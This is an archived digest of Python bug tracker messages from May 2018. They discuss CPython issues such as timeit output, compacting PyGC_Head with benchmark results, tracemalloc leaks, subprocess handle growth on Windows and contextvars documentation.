(miss-islington) Date: Tue, 22 May 2018 13:26:52 +0000 Subject: [issue30877] possibe typo in json/scanner.py In-Reply-To: <1499496488.53.0.464628157168.issue30877@psf.upfronthosting.co.za> Message-ID: <1526995612.81.0.682650639539.issue30877@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 2baee0aa77055755ac50e92e64bbccfea4108621 by Miss Islington (bot) in branch '3.6': bpo-30877: Fix clearing a cache in the the JSON decoder. (GH-7048) https://github.com/python/cpython/commit/2baee0aa77055755ac50e92e64bbccfea4108621 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:33:25 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:33:25 +0000 Subject: [issue20941] pytime.c:184 and pytime.c:218: runtime error, outside the range of representable values of type 'long' In-Reply-To: <1394920125.71.0.89652214774.issue20941@psf.upfronthosting.co.za> Message-ID: <1526996005.73.0.682650639539.issue20941@psf.upfronthosting.co.za> STINNER Victor added the comment: I close the issue as a duplicate of bpo-31373. Reopen/comment bpo-31373 if the issue is not completely fixed. ---------- resolution: out of date -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:37:19 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:37:19 +0000 Subject: [issue28240] Enhance the timeit module: display average +- std dev instead of minimum In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za> Message-ID: <1526996239.31.0.682650639539.issue28240@psf.upfronthosting.co.za> STINNER Victor added the comment: > Wait, I didn't notice the change to the format of raw timings. It looks as a regression to me. Do you mean that some applications may run timeit as a CLI and parse stdout to get raw values? Why doing so? timeit is a Python module, it's trivial to use its API to avoid using the CLI, no? I don't think that the CLI output must not change. master branch: vstinner at apu$ ./python -m timeit -v '[1,2]*1000' 1 loop -> 1.73e-05 secs 2 loops -> 6.49e-05 secs 5 loops -> 0.000107 secs 10 loops -> 0.000173 secs 20 loops -> 0.000331 secs 50 loops -> 0.000798 secs 100 loops -> 0.00159 secs 200 loops -> 0.00304 secs 500 loops -> 0.00777 secs 1000 loops -> 0.0163 secs 2000 loops -> 0.0315 secs 5000 loops -> 0.0775 secs 10000 loops -> 0.154 secs 20000 loops -> 0.311 secs raw times: 310 msec, 313 msec, 308 msec, 303 msec, 304 msec 20000 loops, best of 5: 15.2 usec per loop Python 3.6: vstinner at apu$ python3 -m timeit -v '[1,2]*1000' 10 loops -> 3.41e-05 secs 100 loops -> 0.000345 secs 1000 loops -> 0.00327 secs 10000 loops -> 0.0332 secs 100000 loops -> 0.325 secs raw times: 0.319 0.316 0.319 100000 loops, best of 3: 3.16 usec per loop Hum, the timings of the calibration (xx loops -> ...) should use the same function to format time to use ns, ms, etc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:37:27 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:37:27 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526996247.41.0.682650639539.issue33518@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 8cbde8a43769641373a681af4b0d72944af43f95 by Victor Stinner (Andr?s Delfino) in branch '2.7': [2.7] bpo-33518: Add PEP entry to documentation glossary (GH-6860). (#6936) https://github.com/python/cpython/commit/8cbde8a43769641373a681af4b0d72944af43f95 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:38:22 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:38:22 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526996302.06.0.682650639539.issue33518@psf.upfronthosting.co.za> STINNER Victor added the comment: Thank you Andr?s Delfino. I applied your PR to 2.7, 3.6, 3.7 and master. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:40:29 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:40:29 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526996429.17.0.682650639539.issue33521@psf.upfronthosting.co.za> STINNER Victor added the comment: > @pitrou We'll measure the wins of gather when we implement it in C. Before that, we need to get all helpers ready in C. You don't have to provide _asyncio.isfuture() (in C) to implement gather() in C. If your goal is to optimize gather(), write a change to only implement gather() no? What's the point of optimizing isfuture() is gather() is implemented in C and doesn't call the Python implementation anymore? Implement isfuture() is C and expose it as _asyncio.isfuture() are two different things. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:41:10 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:41:10 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526996470.98.0.682650639539.issue28167@psf.upfronthosting.co.za> STINNER Victor added the comment: FYI I created bpo-33600: "[EASY DOC] Python 2: document that platform.linux_distribution() has been removed". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:45:10 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:45:10 +0000 Subject: [issue23860] Windows: Failure to check return value from lseek() in Modules/mmapmodule.c In-Reply-To: <1428083040.47.0.668729418368.issue23860@psf.upfronthosting.co.za> Message-ID: <1526996710.63.0.682650639539.issue23860@psf.upfronthosting.co.za> STINNER Victor added the comment: "At the moment, I'm not sure if it's needed or not, but if it's only an issue with XP, then it might not be worth fixing...:)" If the workaround is no longer needed, the lseek() call should be removed. ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware title: Failure to check return value from lseek() in Modules/mmapmodule.c -> Windows: Failure to check return value from lseek() in Modules/mmapmodule.c _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:47:29 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:47:29 +0000 Subject: [issue23860] Windows: Failure to check return value from lseek() in Modules/mmapmodule.c In-Reply-To: <1428083040.47.0.668729418368.issue23860@psf.upfronthosting.co.za> Message-ID: <1526996849.8.0.682650639539.issue23860@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh right, PR 7017 does that: it removes the lseek() call ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:49:41 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 13:49:41 +0000 Subject: [issue33601] Py_UTF8Mode is not documented Message-ID: <1526996981.47.0.682650639539.issue33601@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : Py_UTF8Mode was added to the limited API in 3.7, but it is not documented anywhere. ---------- assignee: docs at python components: Documentation messages: 317286 nosy: docs at python, ncoghlan, serhiy.storchaka, vstinner priority: normal severity: normal status: open title: Py_UTF8Mode is not documented versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:52:10 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:52:10 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526997130.23.0.682650639539.issue33470@psf.upfronthosting.co.za> STINNER Victor added the comment: > Also, the actual removal of the "modules" field was reverted. Oh... I didn't understand that part :-) Ok. In this case it's fine to close this documentation issue. Nothing should be documented for 3.7 ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:59:03 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:59:03 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526997543.63.0.682650639539.issue33565@psf.upfronthosting.co.za> STINNER Victor added the comment: A memory leak is when each iteration adds a fixed number of bytes of the memory: I'm talking about tracemalloc.get_traced_memory()[0] value. For example, if you compare the total traced memory between your iteration 30 and iteration 20, you get a value 10N. If you compare iteration 100 and 20, I would expect the value 80N. Is it the case? You can get the number of allocated bytes from a snapshot using: >>> sum(trace.size for trace in snapshot.traces) 2620350 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:59:08 2018 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 22 May 2018 13:59:08 +0000 Subject: [issue33197] Confusing error message when constructing invalid inspect.Parameters In-Reply-To: <1522566872.11.0.467229070634.issue33197@psf.upfronthosting.co.za> Message-ID: <1526997548.46.0.682650639539.issue33197@psf.upfronthosting.co.za> Dong-hee Na added the comment: Can I get a code review for PR 6636? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:01:01 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 14:01:01 +0000 Subject: [issue28240] Enhance the timeit module: display average +- std dev instead of minimum In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za> Message-ID: <1526997661.24.0.682650639539.issue28240@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Yes, it was my thought. But seems you are right, it is easier to use Python as a programming language. In the past I used the CLI because the programming interface didn't supported autoranging. Although I would change the human-readable output to raw times (msec): 310 313 308 303 304 But it may be too later for 3.7. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:02:36 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 14:02:36 +0000 Subject: [issue29640] _PyThreadState_Init and fork race leads to inconsistent key list In-Reply-To: <1487927038.37.0.851881550844.issue29640@psf.upfronthosting.co.za> Message-ID: <1526997756.71.0.682650639539.issue29640@psf.upfronthosting.co.za> STINNER Victor added the comment: > But! I suppose we could fix the bug only for platforms with PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT. Yes, this is my proposal. >> I propose to cast pthread_key_create() result to int, but only define PyThread_create_key() in Python/thread_pthread.h if PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT is defined. > I don't think that's a good idea. Changing API, even for platforms that aren't officially supported, sounds very harsh this late in the release cycle. Which API change? I don't propose to modify the existing public C API "int PyThread_create_key(void)". I only propose to change it's implementation to the native pthread API when PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT is defined. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:05:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 14:05:17 +0000 Subject: [issue33601] [EASY DOC] Py_UTF8Mode is not documented In-Reply-To: <1526996981.47.0.682650639539.issue33601@psf.upfronthosting.co.za> Message-ID: <1526997917.82.0.682650639539.issue33601@psf.upfronthosting.co.za> STINNER Victor added the comment: I wasn't sure if I should document it, but after talking with Serhiy on IRC, I now agree that the new variable should be documented. It should be documented at: https://docs.python.org/dev/c-api/init.html#global-configuration-variables ---------- keywords: +easy title: Py_UTF8Mode is not documented -> [EASY DOC] Py_UTF8Mode is not documented _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:28:08 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 22 May 2018 14:28:08 +0000 Subject: [issue33602] Remove set and queue references from Data Types Message-ID: <1526999288.77.0.682650639539.issue33602@psf.upfronthosting.co.za> New submission from Andr?s Delfino : Data Types mentions sets (which are now built-in) and synchronized queues (now mentioned in Concurrent Execution). I'm proposing fixing this. PR also adds mention to bytearray. ---------- assignee: docs at python components: Documentation messages: 317293 nosy: adelfino, docs at python priority: normal severity: normal status: open title: Remove set and queue references from Data Types type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:30:19 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 22 May 2018 14:30:19 +0000 Subject: [issue33602] Remove set and queue references from Data Types In-Reply-To: <1526999288.77.0.682650639539.issue33602@psf.upfronthosting.co.za> Message-ID: <1526999419.9.0.682650639539.issue33602@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6689 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:35:06 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 14:35:06 +0000 Subject: [issue33601] [EASY DOC] Py_UTF8Mode is not documented In-Reply-To: <1526996981.47.0.682650639539.issue33601@psf.upfronthosting.co.za> Message-ID: <1526999706.74.0.682650639539.issue33601@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: If there are reasons of including it in the limited API, it should be documented. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:56:55 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 22 May 2018 14:56:55 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527001015.37.0.682650639539.issue33597@psf.upfronthosting.co.za> INADA Naoki added the comment: $ ./python -m perf compare_to master.json twogc.json -G --min-speed=2 Slower (3): - scimark_monte_carlo: 268 ms +- 9 ms -> 278 ms +- 8 ms: 1.04x slower (+4%) - fannkuch: 1.03 sec +- 0.02 sec -> 1.06 sec +- 0.02 sec: 1.03x slower (+3%) - spectral_norm: 285 ms +- 9 ms -> 291 ms +- 6 ms: 1.02x slower (+2%) Faster (13): - unpickle_pure_python: 980 us +- 13 us -> 886 us +- 11 us: 1.11x faster (-10%) - pickle_dict: 71.9 us +- 6.8 us -> 67.2 us +- 0.4 us: 1.07x faster (-7%) - mako: 40.5 ms +- 1.1 ms -> 38.7 ms +- 0.4 ms: 1.05x faster (-5%) - scimark_lu: 396 ms +- 18 ms -> 381 ms +- 16 ms: 1.04x faster (-4%) - genshi_text: 89.3 ms +- 1.2 ms -> 86.3 ms +- 1.2 ms: 1.03x faster (-3%) - xml_etree_generate: 270 ms +- 5 ms -> 262 ms +- 5 ms: 1.03x faster (-3%) - regex_dna: 286 ms +- 1 ms -> 279 ms +- 1 ms: 1.03x faster (-3%) - scimark_sor: 511 ms +- 6 ms -> 497 ms +- 10 ms: 1.03x faster (-3%) - xml_etree_iterparse: 220 ms +- 6 ms -> 214 ms +- 5 ms: 1.03x faster (-3%) - xml_etree_process: 231 ms +- 4 ms -> 225 ms +- 4 ms: 1.02x faster (-2%) - genshi_xml: 191 ms +- 2 ms -> 187 ms +- 2 ms: 1.02x faster (-2%) - unpack_sequence: 131 ns +- 2 ns -> 129 ns +- 2 ns: 1.02x faster (-2%) - richards: 180 ms +- 4 ms -> 176 ms +- 2 ms: 1.02x faster (-2%) Benchmark hidden because not significant (44) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:57:43 2018 From: report at bugs.python.org (Jason Haydaman) Date: Tue, 22 May 2018 14:57:43 +0000 Subject: [issue33238] AssertionError on await of Future returned by asyncio.wrap_future In-Reply-To: <1523037765.71.0.682650639539.issue33238@psf.upfronthosting.co.za> Message-ID: <1527001063.31.0.682650639539.issue33238@psf.upfronthosting.co.za> Change by Jason Haydaman : ---------- keywords: +patch pull_requests: +6690 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 10:59:21 2018 From: report at bugs.python.org (GranPrego) Date: Tue, 22 May 2018 14:59:21 +0000 Subject: [issue33603] Subprocess Thread handles grow with each call and aren't released until script ends Message-ID: <1527001161.43.0.682650639539.issue33603@psf.upfronthosting.co.za> New submission from GranPrego : On windows 7 / 10 I'm using subprocess to launch a dos cmdline executable and returning the results, which is all working fine. However, each time I make a call, the Python handle count is gradually increasing, jumping up , back a few, then jumping up and so on. All the handles are released when the script exits, but quite often python just hangs after a few hours. If I use process explorer to investigate I can see that python has an increasing number of Thread handles, even though I can see the process being called and cleanly exiting. Unfortunately I'm stuck with the dos executable and it's always a one shot of sending it a single command each time and the script calls it a lot. The executable is just taking a string cmdline and returning a couple of lines of text and then exiting. It only runs for a couple of seconds at most. I've tried two variants of calling the process, I was hoping that the with variant would clean up, but there is no difference. Each handle object that gets left behind has a single reference and a non paged quota of 1192, 0 paged. The script is long running and I've seen the handle count reach 46K. result = "" with Popen ([fcptool, parameters], stdout=PIPE, universal_newlines=True, bufsize=1) as process: for line in process.stdout: result = result + line return result or p = subprocess.run([fcptool, parameters], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True, shell=True).stdout return p I can reproduce this on 3 different machines, 2 windows 7 and one windows 10, all Python 3.6. I can't see a way around this at the moment and as far as I can tell, I'm using the call to subprocess correctly. ---------- components: Interpreter Core, Windows messages: 317296 nosy: GranPrego, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Subprocess Thread handles grow with each call and aren't released until script ends type: resource usage versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 11:01:22 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 22 May 2018 15:01:22 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527001282.47.0.682650639539.issue33597@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Interesting. Do you have any comparisons on memory footprint too? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 11:31:12 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 15:31:12 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527003072.9.0.682650639539.issue33597@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This is an interesting idea. The other problem with the garbage collecting is that it modifies the memory of all collectable objects. This leads to deduplicating virtually all memory blocks after the fork, even if these objects are not used in the child. If gc_refcnt is used only when collecting, what if allocate a linear array for them for that time? This will save less memory (only one word per object in the peak), but avoid modifying the memory of not collected objects (except pointers at the ends of generation lists and neighbors of collected objects). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 11:31:37 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 22 May 2018 15:31:37 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527003097.44.0.682650639539.issue33597@psf.upfronthosting.co.za> INADA Naoki added the comment: $ ./python-gc -c 'import asyncio,sys; sys._debugmallocstats()' master: # bytes in allocated blocks = 4,011,368 # bytes in available blocks = 136,640 50 unused pools * 4096 bytes = 204,800 # bytes lost to pool headers = 49,824 # bytes lost to quantization = 53,816 # bytes lost to arena alignment = 0 Total = 4,456,448 patched: # bytes in allocated blocks = 3,852,432 # bytes in available blocks = 132,664 27 unused pools * 4096 bytes = 110,592 # bytes lost to pool headers = 47,856 # bytes lost to quantization = 50,760 # bytes lost to arena alignment = 0 Total = 4,194,304 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 11:40:09 2018 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 22 May 2018 15:40:09 +0000 Subject: [issue2504] Add gettext.pgettext() and variants support In-Reply-To: <1206756624.13.0.664664048525.issue2504@psf.upfronthosting.co.za> Message-ID: <1527003609.26.0.682650639539.issue2504@psf.upfronthosting.co.za> ?ric Araujo added the comment: It was an answer to ?Is there anything I can do to help get this into the codebase? Feel free to take this on! I?ll try to review. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 11:45:19 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 15:45:19 +0000 Subject: [issue30877] possibe typo in json/scanner.py In-Reply-To: <1499496488.53.0.464628157168.issue30877@psf.upfronthosting.co.za> Message-ID: <1527003919.23.0.682650639539.issue30877@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 11:49:07 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 22 May 2018 15:49:07 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527004147.85.0.682650639539.issue33597@psf.upfronthosting.co.za> INADA Naoki added the comment: @Serhiy php implemented similar idea recently. https://react-etc.net/entry/improvements-to-garbage-collection-gc-php-7-3-boosts-performance-in-benchmark In short, each tracked object have only "index" of GC struct, not "pointer". GC struct is in array and it can be resized. I tried to copy it, but there are some challenges: * _PyObject_GC_TRACK() will resize GC array and cause MemoryError. It's not API compatible. * php's GC is not generational. This design may slow down moving objects between generation. * We need one word (index) for object header and two words (refcnt, pointer to the object) for GC struct. It means we can reduce memory footprint only for untracked dicts and tuples. And this is my first time GC hack. So I gave up PHP way and choose easier way. Anyway, we have gc.freeze() now which can be used for avoid CoW after fork. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 11:49:19 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 22 May 2018 15:49:19 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1527003097.44.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <91f0c311-c39f-8ffb-e64a-a1fcc6b51e2c@free.fr> Antoine Pitrou added the comment: Le 22/05/2018 ? 17:31, INADA Naoki a ?crit?: > > INADA Naoki added the comment: > > $ ./python-gc -c 'import asyncio,sys; sys._debugmallocstats()' Thanks. You can also collect peak memory stats during the benchmark suite, though the numbers may be approximate. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 11:53:20 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 22 May 2018 15:53:20 +0000 Subject: [issue33593] Support heapq on typed arrays? In-Reply-To: <1526937064.06.0.682650639539.issue33593@psf.upfronthosting.co.za> Message-ID: <1527004400.15.0.682650639539.issue33593@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I don't think we should go down this path. The efficiency of the C implementation depends on it being tightly coupled to lists. This tool is used in the schedulers of various async tools (such as Tornando), used for merge(), nsmallest(), and nlargest() all of which depend on this foundational tool being very fast. Also, I question whether it makes sense at all to be heapifying numpy arrays using standard library tooling. It numpy arrays actually needed this and needed for it to be efficient, it would need to be implemented natively in numpy. ---------- nosy: +rhettinger versions: +Python 3.8 -Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 12:02:57 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 22 May 2018 16:02:57 +0000 Subject: [issue33590] sched.enter priority has no impact on execution In-Reply-To: <1526881413.19.0.682650639539.issue33590@psf.upfronthosting.co.za> Message-ID: <1527004977.11.0.682650639539.issue33590@psf.upfronthosting.co.za> Raymond Hettinger added the comment: It would be nice to either modify the example or add another example to show the use of enterabs() and of the priority field being used as a tie breaker for two events scheduled at the same time. ---------- nosy: +rhettinger status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 12:19:53 2018 From: report at bugs.python.org (Alexander Mohr) Date: Tue, 22 May 2018 16:19:53 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527005993.55.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: I believe your method is flawed, when enabling tracemalloc it's going to be using memory as well to store the traces. I still believe you need to use the method I mentioned and further even if we don't take into account the total memory the traces I mentioned need to be explained. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 12:20:05 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 22 May 2018 16:20:05 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527006005.04.0.682650639539.issue33597@psf.upfronthosting.co.za> INADA Naoki added the comment: In Doc folder: make clean make PYTHON=../python venv /usr/bin/time make html master: 113.15user 0.41system 1:55.46elapsed 98%CPU (0avgtext+0avgdata 205472maxresident)k 18800inputs+223544outputs (1major+66066minor)pagefaults 0swaps 111.07user 0.44system 1:51.72elapsed 99%CPU (0avgtext+0avgdata 205052maxresident)k 0inputs+223376outputs (0major+65855minor)pagefaults 0swaps patched: 109.92user 0.44system 1:50.43elapsed 99%CPU (0avgtext+0avgdata 195832maxresident)k 0inputs+223376outputs (0major+63206minor)pagefaults 0swaps 110.70user 0.40system 1:51.50elapsed 99%CPU (0avgtext+0avgdata 195516maxresident)k 0inputs+223376outputs (0major+62723minor)pagefaults 0swaps It seems reduced 5% memory footprint, and performance difference is very small. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 12:24:32 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 22 May 2018 16:24:32 +0000 Subject: [issue23188] Provide a C helper function to chain raised (but not yet caught) exceptions In-Reply-To: <1420687041.12.0.12728944273.issue23188@psf.upfronthosting.co.za> Message-ID: <1527006272.04.0.682650639539.issue23188@psf.upfronthosting.co.za> Eric Snow added the comment: FTR, see PEP 490 ("Chain exceptions at C level") which proposed implicitly chaining exceptions in the PyErr_* API. While that PEP was rejected (not all exceptions should be chained), it does make a good point about the clunkiness of using _PyErr_ChainExceptions(): PyObject *exc, *val, *tb; PyErr_Fetch(&exc, &val, &tb); PyErr_Format(ZipImportError, "can't open Zip file: %R", archive); _PyErr_ChainExceptions(exc, val, tb); So if we are going to add a public helper function, let's consider adding one that simplifies usage. For instance, how about one that indicates the next exception set should chain: PyErr_ChainNext(); PyErr_Format(ZipImportError, "can't open Zip file: %R", archive); Or perhaps we should revive PEP 490 with an opt out mechanism for the cases where we don't want chaining: PyErr_NoChainNext(); PyErr_Format(PyExc_RuntimeError, "uh-oh"); ---------- nosy: +eric.snow, vstinner versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 12:29:26 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 16:29:26 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527006566.58.0.682650639539.issue33565@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh. Usually, I strip traces allocated by tracemalloc using filters: http://pytracemalloc.readthedocs.io/examples.html#pretty-top snapshot = snapshot.filter_traces(( tracemalloc.Filter(False, ""), tracemalloc.Filter(False, ""), )) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 12:38:47 2018 From: report at bugs.python.org (Alexander Mohr) Date: Tue, 22 May 2018 16:38:47 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527007127.98.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: that's not going to affect http://pytracemalloc.readthedocs.io/api.html#get_traced_memory. There is no filter for that :) as to your sum that's exactly what my original callstack lists: 21 memory blocks: 4.7 KiB this means 21 blocks were not released, and in this case leaked because nothing should be held onto after the first iteration (creating the initial connector in the connection pool. In the head object case that's going to be a new connector per iteration, however the old one should go away. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:32:02 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 22 May 2018 17:32:02 +0000 Subject: [issue33592] Document contextvars C API In-Reply-To: <1526923723.99.0.682650639539.issue33592@psf.upfronthosting.co.za> Message-ID: <1527010322.77.0.682650639539.issue33592@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset b2f5f59ae15564b991f3ca4850e6ad28d9faacbc by Yury Selivanov (Elvis Pranskevichus) in branch 'master': bpo-33592: Document the C API in PEP 567 (contextvars) (GH-7033) https://github.com/python/cpython/commit/b2f5f59ae15564b991f3ca4850e6ad28d9faacbc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:33:08 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 17:33:08 +0000 Subject: [issue33592] Document contextvars C API In-Reply-To: <1526923723.99.0.682650639539.issue33592@psf.upfronthosting.co.za> Message-ID: <1527010388.93.0.682650639539.issue33592@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6691 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:39:04 2018 From: report at bugs.python.org (Diego Argueta) Date: Tue, 22 May 2018 17:39:04 +0000 Subject: [issue33593] Support heapq on typed arrays? In-Reply-To: <1526937064.06.0.682650639539.issue33593@psf.upfronthosting.co.za> Message-ID: <1527010744.39.0.682650639539.issue33593@psf.upfronthosting.co.za> Diego Argueta added the comment: I was referring to the C arrays in the Python standard library: https://docs.python.org/3/library/array.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:41:00 2018 From: report at bugs.python.org (Eryk Sun) Date: Tue, 22 May 2018 17:41:00 +0000 Subject: [issue33603] Subprocess Thread handles grow with each call and aren't released until script ends In-Reply-To: <1527001161.43.0.682650639539.issue33603@psf.upfronthosting.co.za> Message-ID: <1527010860.79.0.682650639539.issue33603@psf.upfronthosting.co.za> Eryk Sun added 